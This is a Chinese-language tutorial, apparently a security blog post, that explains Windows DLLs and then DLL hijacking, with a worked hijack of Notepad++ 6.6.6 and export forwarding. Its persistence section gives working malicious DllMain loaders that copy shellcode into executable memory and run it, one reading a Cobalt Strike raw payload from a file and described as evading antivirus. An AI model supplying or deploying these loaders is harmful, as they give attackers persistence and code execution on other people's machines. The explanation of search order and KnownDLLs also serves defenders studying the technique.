0x001 什么是DLL

Dll(动态链接库)作为 windows 的函数库,有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间;一个应用程序运行时可能需要依赖于多个 dll 的函数才能完成功能,如果控制其中任一dll,那么便可以控制该应用程序的执行流程。

Linux下静态库名字一般是: libxxx.a windows则是: *.lib、*.h

Linux下动态库名字一般是: libxxx.so windows则是: .dll、.OCX(..etc)

0x02 尝试编写dll

1.VS2017,新建DLL项目

 2. 初始dll文件


// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄                       DWORD  ul_reason_for_call, // 调用原因                       LPVOID lpReserved // 参数保留                     ){    switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式    {    case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

dllmain.cpp文件下引入Windows.h库, 编写一个msg的函数。


// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include 
void msg() {    MessageBox(0, L"Dll Load successful!", 0, 0);}
BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ){    switch (ul_reason_for_call)     case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

然后需要在头文件framework.h中导出msg函数


#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include 
extern "C" __declspec(dllexport) void msg(void)

_declspec是关键字,用于表示该函数、变量时导出、导入的,括号里dllexport意为其将要导出,dllimport意为其将要导入。

extern "C"用于指定编译器编译后的函数别名,这样使用时才能正确查找到。即对于变量extern int a;这样的直接写为extern "C" int a;即可,函数同理。

然后进行编译,得到dlldemo.dll

0x03 调用dll

新建项目,编译生成test.exe

// test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。#include #include using namespace std;
int main(){    // 定义一个函数类DLLFUNC    typedef void(*DLLFUNC)(void);    DLLFUNC GetDllfunc = NULL;    // 指定动态加载dll库    HINSTANCE hinst = LoadLibrary(L"dlldemo.dll");    if (hinst != NULL) {        // 获取函数位置        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");    }    if (GetDllfunc != NULL) {        //运行msg函数        (*GetDllfunc)();    }}

成功调用dlldemo.dll

0x04 Dll劫持漏洞

原理

如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。

DLL路径搜索目录顺序

1.应用程序加载的目录

2.系统目录,使用 GetSystemDirectory 获取该路径

3.16 位系统目录

4.Windows 目录,使用 GetWindowsDirectory 获取该路径

5.当前目录

6.PATH 环境变量中列出的目录

Know DLLs注册表项

从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。

默认情况HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 处于开启状态;如果手动设置为 0,关闭该安全选项,搜索顺序为:在以上顺序基础上,将 5.当前目录 修改至 2.系统目录 的位置,其他顺移。

注册表路径如下:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs


另外当应用程序加载 dll 时如果仅指定 dll 名称时,那么将按照以上顺序搜索 dll 文件,不过在加载之前还需要满足以下两条规范:

  • 当内存中已加载相同模块名称的 dll 时,系统将直接加载该 dll,不会进行搜索;除非设置了 dll 重定向选项;
  • 如果要加载的 dll 模块属于 Known DLLs,系统直接加载系统目录下的该 dll,不会进行搜索。

Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”来确定应用程序所要调用的DLL的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,如果没有找到,则搜索系统即 SYSTEM32 目录,若还没有找到,则向下搜索16位系统目录即 SYSTEM 目录,然后Windows目录,当前目录,Path环境变量的各个目录。


这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。

手动劫持

NotePad++(6.6.6)

用到的工具:Process Monitor v3.60

通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式

设置过滤规则: (默认的不需要改变)


Path ends with .dllResult is NAME NOT FOUNDProcess Name contains notepad++.exe

然后这里找一个需要用到loadlibrary这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。

LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下:


LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始

找到可以被劫持的dll文件后,我们需要编写恶意dll


// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include 
BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        system("calc");    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;    }

然后编译生成恶意dll,并放到Notepad++的根目录下

运行Notepad++.exe便会弹出计算器

EasyConnectInstaller(7.6.1.1)

转发劫持

使用恶意 dll 替换原文件,应用程序便可以加载我们的 dll 并执行恶意代码,但是应用程序运行依赖于 dll 提供的函数,恶意 dll 必须提供相同的功能才能保证应用程序的正常运行。这里利用了aheadlib工具,进行直接转发函数。

权限维持

1.这里利用到的测试环境是之前自己写的testDll.exe,进行直接转发函数,尝试加载shellcode(不免杀)


#include "pch.h"#include #include #include 
//导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        unsigned char buf[] ="shellcode"        size_t size = sizeof(buf);        char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);        memcpy(inject, buf, size);        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);    }    else if (dwReason == DLL_PROCESS_DETACH)    {    }    return TRUE;}


2.shellcode写内存(免杀)

CS生成RAW Payload,然后读取shellcode,申请内存,写内存,执行函数


#include "pch.h"#include #include #include 
//导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
DWORD WINAPI DoMagic(LPVOID lpParameter){    FILE* fp;    size_t size;    unsigned char* buffer;
    fp = fopen("payload.bin", "rb");    fseek(fp, 0, SEEK_END);    size = ftell(fp);    fseek(fp, 0, SEEK_SET);    buffer = (unsigned char*)malloc(size);
    fread(buffer, size, 1, fp);
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(exec, buffer, size);
    ((void(*) ())exec)();
    return 0;}
BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        HANDLE threadHandle;        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}